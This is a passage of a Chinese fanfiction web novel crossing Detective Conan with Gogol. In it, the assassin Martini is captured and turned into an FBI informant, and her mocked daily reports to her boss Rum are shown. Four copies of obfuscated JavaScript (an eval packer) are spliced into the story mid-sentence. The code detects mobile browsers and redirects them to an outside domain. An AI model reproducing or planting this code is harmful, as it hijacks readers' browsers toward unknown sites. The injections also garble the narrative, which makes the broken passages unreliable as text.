长岛京悟看向果戈里，谴责道：“你不能就这么把别人踢出自己的家，这是不道德的。”他本来想接一句“你不信可以问问你挚友”，但是又想起不到半个小时前果戈里刚刚赞不绝口地称他挚友是一个优秀的国际恐怖分子，于是果断就此打住。 果戈里恍然大悟：“哦，原来是FBI少年你住在隔壁啊。”他兴致勃勃地提议，“那要不这样，你过来和长岛住。你老是跟长岛凑在一起，你们总应该是挚友了吧？” 长岛京悟在脑海里勾勒了一出“赤井秀一出卖色相以换得论文二作”的戏码，忍不住打了个寒战。他连忙拒绝：“不是啊，你别瞎说。我这个人老实巴交，秀一也是一个行事正直的好人，他绝对做不出这种靠碰瓷上位的缺德事……” 赤井秀一打断他：“倒也不是不可以，”他目测了一下沙发的长度，“我可以睡沙发的，前辈。” 长岛京悟瞳孔地震：“不是，兄弟……” 赤井秀一说：“这样也不错。前辈你说了，马蒂尼会上门拜访。”他自信地笑了，“如果我在的话，她只要踏进这个公寓一步，就不可能出去。我们可以立刻将她抓起来审问组织的情报。” 长岛京悟想了想，感觉也有道理。他之前买沙发的时候为了有时候可以通宵打游戏，特意买了可以翻出来当床睡的那种折叠沙发，也挺舒服的，他一个人睡绰绰有余。赤井秀一比他高差不多十公分左右，可能会有一点点挤，但是如果略略把身子蜷起来的话也差不多，应该不会太委屈。 ……但是话是这么说，一想到他要和赤井秀一挤在一间公寓里，就是怎么想怎么别扭啊！大学毕业六年，独居的爽只有自己知道。一朝失足回到有室友的时候，而且室友还是自己带的高中实习生，正常人只会觉得麻烦。 长岛京悟恶狠狠地盯着果戈里。莫欺少年穷，等他有朝一日学会了如何创这些老中小登，第一个就拿他开刀。 。 果戈里开心地去赤井秀一的公寓睡觉了。赤井秀一跟着去收拾了一下自己的必需品，过了几分钟就背着书包回来了。 长岛京悟看着无家可归的赤井秀一，实在于心不忍，赶紧帮忙把沙发床铺好，又把自己的好枕头和被子都拿出来放在上面。他犹觉不够，看了看这个布置之后问：“秀一，你需要什么别的不？牙刷、毛巾、拖鞋、手机充电器，我这里都有备用的。” 赤井秀一说：“前辈，我都从我家拿过来了。你应该很累了吧，你可以先去洗漱，我等你用完洗手间再去。” 赤井秀一的礼貌让长岛京悟更觉得果戈里这个小登罪孽深重。他恶狠狠地说：“他今日折你翅膀，我将来必毁他天堂……” 他说的声音比较小，赤井秀一没听清：“前辈，你说什么？” 长岛京悟：“我说我现在去洗漱，马上就好，你也早点睡哈。” 赤井秀一温和地笑了：“好的，前辈。” 长岛京悟很快洗澡刷牙，换上自己的鲨鱼家居服，回到自己的房间里，把门关上。他玩了会儿手机，然后抱着刚刚拿出来的备用枕头坐在床上发呆。过了会儿，他从门缝里看见客厅的灯关了，赤井秀一应该是睡觉了。 于是长岛京悟也关了灯，很快陷入了沉沉的梦里。 。 在梦里，他又看到了哈尔。 哈尔是他们家养了十四年的萨摩耶，陪伴了长岛京悟从三岁到十七岁的人生。长岛京悟当时选择大学学习生物化学，很大程度上是受到了哈尔的影响。 哈尔是在他的面前被安乐死的，直到他生命的尽头，他们一直紧握着双手。长岛京悟流着泪不舍哈尔生命的流逝，哈尔也用尽最后的力气看着哭泣的主人。房间里安静地出奇，只有哈尔胸前贴着的生命监测装置发出的滴滴声在宣告着一个又一个有序被关停的生化反应。在哈尔真正合上眼睛那一刻，长岛京悟只觉得自己的心像是被利器捅穿了。 那是他第一次感觉到无法控制的绝望，或者说，在哈尔无可避免地走向生命的终结的这段路程里，他一直处于绝对无力的状态下。陪着哈尔在宠物医院呆的每一天都让他感到痛苦，看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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长岛京悟觉得一切都不重要了，他也抱住了哈尔。他只希望这一刻能够持续到未来。 在彻底坠入无边无际的深睡眠前，他喃喃道：“……如果哪一天我真的要死了，你会来送我吗，哈尔？” 他感受到哈尔在舔他的脸，他猜他们做了一个约定。于是他笑着说：“那就一言为定了，哈尔。” 42.打工人的命也是命 长岛京悟好久没有睡过质量这么好的一觉，以至于在他被窗外的一声巨响吵醒的时候，他难得地不想创飞世界，而是很快就从床上坐起来，把鲨鱼家居服换成了平时常穿的衬衫和牛仔裤。 虽然他很少刻意打扮自己，但是长岛京悟自认为还算是科研人里比较潮的。至少他的衬衫有各种各样的颜色和图案，而且都是时髦的oversize。更何况他还会穿松垮的牛仔裤、戴隐形眼镜、拥有两双不同颜色的皮靴，这在东亚男性穿搭界已经是很有品的了。 反正重生前每一次他做实验到半夜，在走廊里和穿着合身格子衬衫、紧身牛仔裤、戴着黑框眼镜的乔瑟夫擦肩而过的时候，他都感觉自己赢得很彻底。 因为睡得好神清气爽，他又难得地照了照镜子，把乱糟糟的黑发整理了一下。他自己在心里盘算：他的脸虽然没有赤井秀一那么帅，也没有果戈里那么精致，但是单放在科研界里，又怎么不算肤白貌美呢。就凭中学时期收到过不少夸他“蓝色的眼睛像大海一样静谧”的情书，叠加上他们家人均娃娃脸的buff，他总归称得上科研一枝花吧。 仔细一想自己还有做学术妲己的潜质，长岛京悟心满意足地在镜子前摆了几个潇洒的pose，才把全身镜推回衣柜后面。 他的好心情一直持续到他打开门，看着一片狼藉的客厅，一个被绑在椅子上的狼狈的长发女人，和赤井秀一若无其事地包扎自己手臂上、腰上的几处还在冒血的伤的时候，戛然而止。 。 赤井秀一轻松地说：“早安，前辈。” 长岛京悟脑子一片空白：“……早安，秀一。那个，你没事吧？”赤井秀一打招呼的时候腰上的伤还在往地上滴血，看上去物理状态不太好。 他可以推断出，把他吵醒的那一声巨响根本就是赤井秀一和这个女人在殊死搏斗！光是看着这个现场就可以想到战况一定十分激烈、惊险万分。而当赤井秀一在英勇作战的时候，他居然优哉游哉地在卧室里照镜子、摆pose、思考自己算不算科研界最靓的仔…… ……他真该死啊。 赤井秀一摇了摇头：“我没问题，小伤而已。”他扭过头，指着被绑起来的女人，“这个女人刚刚试图撬门进来，被我制服了。” 长岛京悟艰难地说：“……你要不要去一趟医院，你的脸好像白得有点过分了。” 赤井秀一说：“不要紧，我们抓紧审问她。”他说这句话的时候声音有点抖，长岛京悟立刻从厨房餐桌旁搬来一把椅子让他坐下。沙发看上去已经报废了，客厅里能砸的似乎都被他们用作了武器或是盾牌。他的跑步机更是可怜，被不知道什么东西从中间劈开了。虽然他现在也只是把它当衣架用，但是看到自己立的新年健康生活flag被彻底连根拔起的时候也有点不舍。 赤井秀一坐下，长岛京悟又给他递了一大杯果汁：“你先补充一下血糖和电解质，你的伤消毒了吗？我们要不要现在去一趟医院？” 赤井秀一把果汁一口闷下。他还没出声，那个女人凉凉地说：“这点小伤都要人关心，你还真是一只柔弱的小白兔啊。” 柔弱的赤井秀一冷笑道：“手下败将，现在被绑着的可不是我。” 女人恨恨道：“我连续二十个小时没睡觉了，你有本事等我睡上五个小时再打。” 她的声音立刻让长岛京悟想起了当时在琴酒的电话里听到的女声。长岛京悟试探着问：“……马蒂尼？” 女人哼了一声，扭头看向他：“你就是长岛京悟？”她愤怒地质问道，“你和年轻条子弟弟同居？” 长岛京悟说：“不是，这个说来话长，不是我想的……不过他的确是个条子，他是FBI。” 赤井秀一说：“你因私闯民宅被捕，但是我很确定你犯的法绝对不止这一条。” 马蒂尼剧烈地挣扎起来。赤井秀一补充道：“你挣脱不开的，我知道你想干什么。你马上就会被转移到联邦监狱，我们会没收你所有和外界的联系工具，你的同伙龙舌兰也很快会落网。” 马蒂尼恶狠狠地盯着长岛京悟，目眦欲裂：“你原来是个叛徒！”? 长岛京悟说：“我不是，我一直是一个正义守法的好人。你们为非作歹，早该知道自己会受到法律的制裁。” 马蒂尼垂下头。她很清楚自己现在的处境，于是什么都不说了。 。 过了一会儿，马蒂尼出声：“我考虑了一下，反正我也没别的可以选了，我愿意和你们合作。” 长岛京悟震惊：“……倒戈得这么快的吗？” 马蒂尼说：“在哪工作不算是工作，什么工作不是狗屎。我本来也不是自愿进的公司，当时要是有得选我哪会跳这个泥潭。反正也早就不想干这一行了，你们想知道什么就随便问，我都跟你们说。” 赤井秀一面无表情地问：“你和我们合作，你有什么条件？” 马蒂尼叹了一口气：“我还能有什么条件，我只是不想死罢了。而且其实我一直也很无奈，当时我为了一个工作签证进的这个破公司，哪想到要被上司压榨到这个地步。”她的眼神放空，“如果我们失联超过二十四个小时，就逃不过被追杀的命运。哪怕是进了监狱，也不可能活下来。我上一次和他联络还是上飞机之前，下飞机之后我就直接过来了，到现在差不多也有二十三个小时了。” 也就是说，只要他们接下来的一个小时内还控制着马蒂尼，马蒂尼不能和上级联络，就难逃一死。而根据现在的情况，她没有可能在接下来的一个小时内逃脱。 长岛京悟看向赤井秀一。马蒂尼现在算是FBI的俘虏，和他没有任何关系。但是他还是有些同情她：同是牛马，他有些感同身受。他上辈子也是为了一个工作签证工作到了猝死，现在看着马蒂尼，不免有些兔死狐悲的感伤。 赤井秀一问：“你怎么证明自己说的话是真的？” 马蒂尼惨淡地笑了笑：“我现在证明不了。但是一个小时内我不和上司联系的话，你们哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930613|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把我放了，过两天也会找到我的尸体。” 赤井秀一又问：“你说的合作，是单指告诉我们一些情报，还是指之后成为我们的线人，将功补过？” 马蒂尼：“放我一条活路，我做什么都愿意。如果你们想的话，我可以和你们签任何条款、或者留任何把柄在你们手上，文字、音频、视频……你们要是看我不爽了，直接寄到白鸠制药，他们绝对不会放过我。” 赤井秀一点了点头。他再检查了一下马蒂尼被绑着的绳索是否牢固后，示意长岛京悟紧紧地盯着马蒂尼，就拿出手机开始打电话。 。 他打电话的时候，长岛京悟尝试和马蒂尼聊天：“你说你为了一个工作签证加入的公司？” 马蒂尼：“我是中国人，我三年前来东都大学读研，毕业之后找不到工作，又想留在日本，这是当时我唯一的offer，我没得选。” 长岛京悟：“那你也很厉害了啊，你刚才和秀一应该打得有来有回，你是进入组织之后才开始当杀手的吗？” 马蒂尼：“哦，这个不是，我之前在国内干了一段时间，赚够了留学的钱，本来打算金盆洗手，读研转行，没想到又干回去了。” 长岛京悟：“那你上杉夏香那个日语名是自己起的吗？” 马蒂尼：“不是，我出国前在小红书上问有什么日文名比较有中国韵味，一个网友给我起的。” 长岛京悟：“起得还挺好的。所以你真的是一个国际关系的研究生啊。“ 马蒂尼：”对啊，我上司跟我说过，他招我的原因是因为他觉得我既然能处理国家之间的关系，那也想必可以处理人和人之间的关系。而且我之前在国内干杀手的时候略有一点名气。“ 长岛京悟摸了摸下巴：”所以你们这一行转行的难度还挺大的。“ 马蒂尼点点头，说：”这个是的。哎，长岛，我不知道我还能活多久，在我死之前我能问你个问题吗？“ 长岛京悟：”当然可以，你问吧。“ 马蒂尼：”你是怎么骗这么帅的年下条子弟弟和你同居的？你把经验传授给我吧，说不定我下辈子用得到。“ ”什么经验？“赤井秀一正好打完电话，眼神扫过嘀嘀咕咕的两个人，“马蒂尼，你恐怕暂时不会有下辈子了。我们决定接受你的合作。” 长岛京悟：“……不是，什么经验都没有啊！“他赶紧转移话题，”那我们快救马蒂尼吧，你要给她松绑吗？“? 赤井秀一说：”这是不可能的，她会一直被控制住，直到我们取得可以完全掌握她命脉的把柄。马蒂尼，我们先帮你和你的上司联系，告诉我们该怎么做。“ 马蒂尼说：“可以理解。我带的背包里有一部手机，密码是2333。你解锁之后，在联系人那里，找到一个叫做朗姆的，随便发点什么就好了。你甚至可以看一下我们的聊天记录，我每一天都要给他做工作汇报的。”她磨了磨牙，“如果有那一天的话，我真想亲手把他杀了。” 43.正道的光，照在了大地上 长岛京悟解锁马蒂尼的手机后，果然在短信的置顶联系人里看到了一个叫做“朗姆”的。他有些好奇地往上滑，果然看见了每天的例行工作汇报和总结。 …… 【2月15日】 【马蒂尼】：朗姆总您好，以下是我今天的工作内容总结： 项目：刺杀A财团法人 方法：狙击 结果：任务成功，后续移交后勤处理。没有被发现踪迹。 【朗姆】：不错，下次写长一点，加一点自己对任务的感悟，以及对未来如何处理相似事件的思考及展望。 【2月16日】 【马蒂尼】：朗姆总您好，以下是我今天的工作内容总结： 项目：刺杀B组织继承人 方法：狙击 结果：本次行动执行顺利，提前布控的撤离路线与伪装措施发挥了预期效果，未引起目标周围警戒力量的警觉。狙击点选择合理，风速、光照等环境因素均在掌控范围内，使得射击精准无误，一枪毙命，未引发额外风险。 个人感悟：精确击杀固然令人满意，但随之而来的，是短暂的空白期。每次任务结束，总会有一段放空时间——不是对目标，而是对目标消失后留下的余波。有时会思考，若非我扣动扳机，目标是否还会多活几分钟？但很快，这种想法便会被职业习惯压下，取而代之的是对下一次任务的冷静准备。 展望：未来，希望在任务执行过程中进一步优化心理调节方式，减少放空时间的影响，使自己更迅速地从“执行者”切换回日常身份。 【朗姆】：你这个查重率高得有点过分，下次不许用ai。任务报酬扣一半，再被我抓到外包，你一个月工资就没了。 【2月17日】 【马蒂尼】：朗姆总您好，以下是我今天的工作内容总结： 任务：整理白鸠制药科研组人员资料 方法：资料收集与归档 结果：任务已完成，所有相关人员信息均已整理归档，分类清晰，数据完整。 个人感悟：本次任务围绕白鸠制药科研组的人员信息整理展开，涵盖姓名、研究方向、项目经历及历史记录等关键内容。这不仅是一项数据归档的工作，更是一次对科研历程的回顾与梳理。整理的过程，是一场细致入微的修整，是一份秩序与耐心的考验。翻阅文件的瞬间，仿佛看到一个个名字背后的身影，在实验室的灯光下埋头攻关，在学术的碰撞中畅谈未来，在科研的征途上步履不停。他们的故事被记录，他们的努力被铭记，每一份资料都不只是数据的填充，而是一段科研梦想的见证。 回首这次任务，所幸规划周密，执行顺利。分类标准明晰，存储结构严谨，最终成品井然有序，如同一本层次分明的书卷。在这份整理中，我们不仅梳理了信息，更感受到了科研精神的脉动，见证了奋斗的印记。这不仅是一项任务的结束，更是未来道路的铺垫，让每一份努力都有迹可循，让每一次创新都有所依托！ 【朗姆】：不要叫我朗姆总，你这个月奖金少拿一万。这个感悟写得太差了，奖金再扣一万。 ……如此，每天就在“马蒂尼变着花样写工作报告，然后朗姆鸡蛋里挑骨头”上循环往复。马蒂尼发的每一条小作文，都像是一个可怜的打工人字字泣血的号哭。长岛京悟读了几条，实在不忍再往下读，他只觉得这个叫做朗姆的上司老登得吓人。他同情地看着马蒂尼，问：“你打算让我们怎么写？” 马蒂尼双目无神地说：“你看着办吧，我这个月工资再扣就到负数了。况且现在性命攸关，我也不在乎了。” 赤井秀一低声说：“那就麻烦你了，前辈。” 长岛京悟深吸一口气，颤抖着手打字： 【4月15日】 【马蒂尼】：朗姆先生您好，以下是我今天的工作内容总结： 任务：抵达旧金山，探访即将吸纳的组织成员长岛京悟，为接下来的暗杀任务做准备 方法：实地探访，任务对象四周环境考察 结果：任务顺利完成，目标人物长岛京悟已初步接触，确认对方加入组织的决心。G教授住宅周边环境考察完成，掌握了基本活动轨迹，后续可根据情况调整执行方案。 个人感悟：此次任务节奏较为稳妥，未急于推进。从观察来看，长岛京悟虽具备一定的防范意识，但仍存在大量可利用的漏洞，如对金钱、待遇追求甚高。任务目标G教授十分信任其住所的安保系统，警觉度相对较低。这为接下来的任务提供了切入点，可以利用其行为惯性，在最合适的时间和地点执行下一步计划。 他点击了发送，然后换算了一下日本时间应该是晚上七点左右。如果不出意外的话，朗姆应当会比较快速地回复。 果不其然，很快他们就收到了朗姆发来的消息： 【朗姆】：今天汇报得有些晚，怎么回事？ 【马蒂尼】：朗姆先生，我今天在接触长岛京悟的时候，想到组织伟大的目标，认为有必要多掌握一些他的相关信息、也是为组织掌控他做更好的准备。于是，我换了三种不同的身份，刺探到他加入我们的出发点、科研理想、以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935969|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及他的软肋。这一个任务花了我比较长的时间，所以汇报就晚了一点。实在不好意思。 【朗姆】：没事。你这不是会写报告吗？之后都这么写。 长岛京悟舒了一口气。他把手机屏幕展示给马蒂尼看。 马蒂尼叹为观止：“……我这辈子没见过这么会写报告的人，你到底写过多少，怎么腌得这么入味？” 长岛京悟想到自己上辈子和这辈子加起来帮导师写过的将近一千页基金本子，不好意思地挠了挠头。他又想起昨天赤井秀一跟他说自己对于性格侧写的敏锐来自于家学渊源，这么想来他写这种报告又何尝不是一种耳濡目染…… 这是什么“命运的馈赠都在暗中标好了价格”的地狱笑话。 。 很快，FBI的支援抵达。几个作便衣打扮的人分批进入了长岛京悟的公寓，将马蒂尼团团围住。 马蒂尼很快就在他们的引导下录制了一个影片：“我是马蒂尼，我自愿成为黑衣组织在FBI的线人，将功赎罪。从此之后，我会协助FBI的任何行动。” 他们把这个视频备份了好几遍，又传到了云端保存好。这个时候马蒂尼问：“我能再加几句话吗，万一我死了，可以麻烦你们寄给我的家人吗？” 赤井秀一问：“你要加什么？” 马蒂尼：“我就简单说几句，交代一下我死之前都干了什么，也想告诉他们我最后终于成了一个正义的人。比方说 ‘我失足成了一个犯罪组织的杀手，被迫做了一些烧杀抢掠的事情，一腔热血换来无止尽的压榨。忍无可忍就无需再忍，我必要让他们付出代价。v我五十，聆听我的复仇计划’……” 一个FBI探员说：“可以，再给你录一个。” 马蒂尼于是原封不动地把自己的话又对着摄像头说了一遍。录完之后她很明显放松下去了：“这个感觉真的挺好的，我这辈子好像没有被正道的光照过。”她说着有些哽咽，“我是个中国人，我们文化里强调的就是宁可死也不要做坏事。我一直想当一个好人，真的。” 长岛京悟安慰道：“之后就是好人了，什么时候当好人都不晚。” 马蒂尼吸了吸鼻子：“对。”她整理了一下心情，问，“所以我们现在要干什么？去抓龙舌兰吗？我知道他现在在酒店，我们本来定的是下周三开始行动。” 赤井秀一说：“先不急。你现在先把你们来刺杀G教授的目的和计划原封不动地告诉我们，包括你所知道的所有关于白鸠制药的信息。另外，你的上司朗姆和组织的关系也请你全部都简洁地说一下。” 44.你去问问东三省有谁不知道我马冬梅 马蒂尼说：“我只能告诉你我所知道的，朗姆这个人很狡猾，他不相信所有人。很多时候我们这些杀手能拿到的信息也是不太对的。”她组织了一下语言，“组织之所以要杀G教授，是因为他想要发表一个我不太清楚内容的科研成果。这个成果组织不想要任何人知道。所以我们接到的任务不仅仅是杀死他，还要拿到他的电脑、并且毁掉，以确保他想发的那篇论文不能问世。” 赤井秀一问：“这个成果，和白鸠制药的研究课题有联系吗？” 马蒂尼摇了摇头：“这个我不清楚，我只是一个hr。但是我之前整理资料的时候有看到，目前研究所的首席科学家宫野厚司是在G教授实验室得到的博士学位，那个成果也是在这个实验室取得的。这是我所知的，组织招募长岛的原因。” 也就是说，长岛京悟的猜测是正确的：宫野厚司得到了某个突破性的实验结果，这个结果被组织重视起来，他也一跃成为研究所的老大。但是组织不知道是因为不放心就他一个人掌握研究节奏，或是因为急切地想要得到更多的进展，于是决定招募一个宫野厚司2.0。作为宫野厚司的同门兼博士课题极其相似的长岛京悟就是再合适不过的人选。于是当长岛京悟主动投递了简历之后，组织就没有再考虑别的候选人。在职场上，这个俗称“一个萝卜一个坑”。 长岛京悟问：“你们是怎么知道老登要发论文的？连我都不知道他在写新的。” 马蒂尼说：“这是我们组织情报组的人收集到的消息。据说是他在半年前去参加一个学术会议的时候，晚上喝多了自己爆出来的。” 这个时间点也很真实，老登半年前的确去参加了一个学术会议，长岛京悟就趁着他不在溜回了日本一趟，他桌子上还有当时照的全家福。没有想到就是这一次会议断送了老登的前途，学术会议害人不浅。 而且再仔细想，组织的情报组更是神通广大。照例来讲这种学术会议后在酒吧吹水说出来的事情除了当事人，知道的一般就寥寥几个。他们居然连这些事情都能监测、打听到，这已经不是简单的可怕二字可以形容的了。 长岛京悟忍不住出了一身冷汗：他在有这么大能耐的组织面前同时跟FBI和日本公安你来我往地打交道，到现在居然还活着，可谓是福大命大。 赤井秀一问：“所以这一次暗杀，他们就派了你和龙舌兰过来？他们不应该很重视吗？” 马蒂尼悲愤道：“什么叫就我和龙舌兰啊！我怎么说也是朗姆手下最厉害的杀手之一，”她看着赤井秀一露出一副就这？的表情，更是怒火中烧，“你别太瞧不起人了！我只是今天睡眠不足才比你稍微逊色一些。你去中国，东北三省，这么大一片土地，问一问有谁不知道我雪月梅魂马冬梅？” 她最后因为情绪激动说得有点快，长岛京悟没听清：“……马什么梅？” 马蒂尼：“……马冬梅。你要是接着问我什么冬梅，等我自由了我第一个杀掉你。”她深吸一口气，“随你怎么想，但是这个已经是很顶级的配置了。我是一个优秀的狙击手，……笑你妹啊！，……龙舌兰的格斗更是重量级，组织的目标就是不留活口，必须完成任务。” 赤井秀一：“那你们的计划是？” 马蒂尼：“龙舌兰和我比较合不来，所以我们大致定下来是我在外面伏击，他潜入工作，尽量互不干涉。我们下周三开始行动，这两天我们会用来踩点、收集一些适合工作的信息。比方说我原本的计划就是在离开你家之后就去他周围六百码以内可以做掩体的地方看一下，龙舌兰大约也会在G教授家附近转悠转悠。” 长岛京悟想起三位日本公安要求他探查的情报：“哦，那他长什么样子？” 马蒂尼：“他是一个身材高大、留着小胡子的男人，说日语的时候有关西腔，他的下巴像屁股蛋。” 长岛京悟把这个消息原封不动地发给了大蜘蛛警官。那边没有立刻回复，他猜测他们应该正在和老登交涉。 赤井秀一又问：“你们这次来，除了刺杀G教授，就没有别的了吗？” 马蒂尼想了想：“……除了这个，哦，”她看向长岛京悟，“朗姆让我留在这里等你把这边的事情处理好之后，把你带回去。你回去之后会由我负责监督，当然我的意思不是和你同居啊，就是你之后会被分到一个组织控制的宿舍、然后我还得接送你上下班。” 长岛京悟惊讶道：“诶，我吗？” 马蒂尼露出一个有些抱歉的神情：“对，你会受到威胁……我毫不怀疑，虽然我没得到指示，但是朗姆会安排伪造你参与G教授暗杀的证据，就像刚才FBI对我做的一样。如果你不听话，这些证据足以让你进监狱，然后无声无息地消失在牢里。” 长岛京悟心里一紧。他赶紧问： “那我的家人……” 马蒂尼说：“这个暂时还是安全的，你资料是我收集的。我们中国有一句古话‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935970|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪不及父母’，所以我当时报上去的消息是你全家都车祸去世了。这个组织很大，你其实也没有那么重要，而且我在情报组说得上话，所以暂时没人质疑。” 赤井秀一敏锐地捕捉到她话里的信息：“你是情报组的人？” 马蒂尼点头：“虽然是一个杀手，不过我是朗姆的直系手下。朗姆是情报组的老大，也是组织的二把手。” 。 赤井秀一不语，他满脑子都是：赚了！ 谁能想到在长岛家借宿一个晚上的结果是活捉了一个组织二把手的直系手下！这个手下还这么顺利地直接倒戈。虽说也有朗姆不做人的关系在，但是这对于他们来说完全是天降大馅饼。FBI或许比日本公安晚了很久才加入战局，但有了马蒂尼做线人，他们甚至可以说是后来居上。 马蒂尼还是长岛京悟的监督人，也就是说，她的策反又将很大程度上降低长岛京悟传递情报的难度，更是长岛京悟卧底安全的一道优秀保障。 ……虽然说他似乎也和狮子王警官持一样态度，他莫名感觉长岛前辈非常适合卧底。他看上去真的对付那些犯罪分子很有一手，有可能还真的不需要马蒂尼保障安全。 但是无论如何，长岛京悟今后被迫会和马蒂尼绑定。而马蒂尼又是他们FBI的线人。长岛京悟回到日本后，即使不再被法律约束要向他们传递情报，但有马蒂尼在，所有日本公安从他那里知道的也必将一式两份地呈现在赤井秀一面前。 FBI的探员们短暂地商议了一会儿就达成了一致。赤井秀一先行离开去他们的医疗处包扎伤口，一个探员走过来把绑着马蒂尼的绳子解开了。 马蒂尼：“……哎，这么快就把我放了吗？” 探员说：“是的，马蒂尼小姐，我们现在给你布置你现在的任务：请你按照原来的计划帮助长岛先生卧底进白鸠制药。你需要和你的计划一样，继续去踩点、在星期三暗杀G教授，再把他带回日本。回到日本后，请你从中周旋，方便长岛先生向我们……和日本公安，传递他得到的有关组织课题的情报。” “知道了。”马蒂尼拍了拍身上的尘土，从另一位探员手里接过包，“我会尽力的。长岛，那之后我们就是一根绳上的蚂蚱了，请多多指教。” 她深深地看了长岛京悟一眼，然后敏捷地起身，跳窗而出。 FBI探员：“……这是十五层……” 长岛京悟同情地沉默不语。 45.人在无语的时候果然会笑 长岛京悟看着自己一片狼藉的客厅，不知道该从哪里收拾起来。人在无语时真的会笑，他这次算是切身体会到了。笑完之后，大多数人会下意识选择逃避现实，于是他干脆穿上外套，打算出门觅食。 他打开门后愣了：门外站着老登，正摆出要敲门的姿势。 长岛京悟：“……G老师？”他不应该现在在家和日本公安纠缠吗？他甚至可以脑补出老登在三位警官面前一哭二闹三上吊的场景。对于一个博导来说，关他实验室、让他假死不异于要他狗命。这个时候老登不在来给他做思想工作的大怨种面前展示超凡的求生欲，怎么会有闲心跑来找他？ 老登满意地看着他逐渐僵硬的表情，语气严肃：“京悟啊，我刚刚遇到了一些很棘手的事，赶紧来通知你。我们实验室出大事了，可能有人要延毕。” “延毕？”长岛京悟脑子瞬间一片空白，他听见这个词就没办法理智思考。他顾不得去想这件事情的种种疑点——比方说老登怎么知道他家在哪里，老登为什么今天说话风格和平时不太一样，以及老登脸上的表情怎么越看越像个邪恶乐子人——只能颤抖着声音问：“谁要延毕？” 老登露出一个扭曲的笑容：“是你哦！” 说时迟那时快，他猛地掀开外套、拽下面具，黑色西装瞬间变成了白色，一顶斗篷在肩上猎猎飞扬。老登的伪装之下，赫然是小登果戈里。 长岛京悟：“……”果然是这个小登。下次不管见谁，他都要先扇几巴掌验验真假。 果戈里欢呼：“易容魔术大成功！长岛，笑啊，你怎么不笑？” 长岛京悟冷冷道：“我生性不爱笑。” 果戈里皱了皱眉，像是想说点什么，话到嘴边又咽了回去。他越过长岛京悟的肩膀看了一眼客厅的惨状，眼珠一转，问：“你要出门吗？” 长岛京悟想，算了，他一个正常人和果戈里计较什么呢。他都果戈里了，还是让让他吧。于是他点了点头，缓和了语气：“啊，我出门吃个饭。” 他把“我”这个字咬得很重，在心里祈祷果戈里既然刚刚似乎有点体贴他的情绪，应该能够领会他想独处的潜台词。他经历了一个早上的混乱，刚刚又被果戈里吓得不轻，他现在只想一个人找家咖啡馆边刷手机边吃点热乎东西…… 但是果戈里似乎只听出了他语气里的妥协，立刻兴高采烈道：“好啊，那我们去哪里吃饭？” 长岛京悟认命地说：“你看着办吧，我都随便。” 。 他们最后回到了那家上次没吃成的贝果店。果戈里心满意足地咬着加了双倍香葱奶酪和三文鱼的贝果，邀功道：“我今天早上跟着那三个警官去看了一眼目标，试了一下易容。还挺好玩的，你那个导师真是一个小丑啊。” 长岛京悟也狼吞虎咽地啃着自己的甜口贝果。身体在感觉到血糖缓慢上升后，他糟糕的心情也好了不少。他问：“他在警官面前很失礼吗？” ……隐隐有种预感老登给他丢人了。 果戈里乐呵呵地说：“我感觉也没有太过分了吧，他就扇了那个叫大蜘蛛的一巴掌，然后跪在地上哭，哭完了就什么话也不说了。” “……”果然给他丢人了。长岛京悟不知道如何评价，于是转而夸赞果戈里，“你的易容技术真厉害，我刚才完全没有认出来你是假冒的。” 果戈里看上去十分受用：“我知道，我是一个很厉害的魔术师嘛。我还帮他们全家做了易容，他们马上就要被送到机场去了。我跟你导师说，我回来找你打会儿游戏。他让我给你带句话。” 他学着G教授的语气：“京悟，b307的液氮罐记得过两天去打满，再把里面冻着的细胞系转移到-80冷冻柜去。” 。 长岛京悟愣住了。半晌，他低声喃喃：“他确定说的是液氮？” 果戈里不满道：“我怎么可能听错！他就是这么说的，一个字都没差。” 长岛京悟努力掩饰内心的震动，故作无所谓地说道：“这样啊……打液氮挺费体力的，他真是不做人。” 果戈里深表赞同：“他真的挺让人讨厌的，我们不如就借此机会把他杀了吧。” 长岛京悟一边赶紧劝他打消这个念头，而另一边，他的思绪远远地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 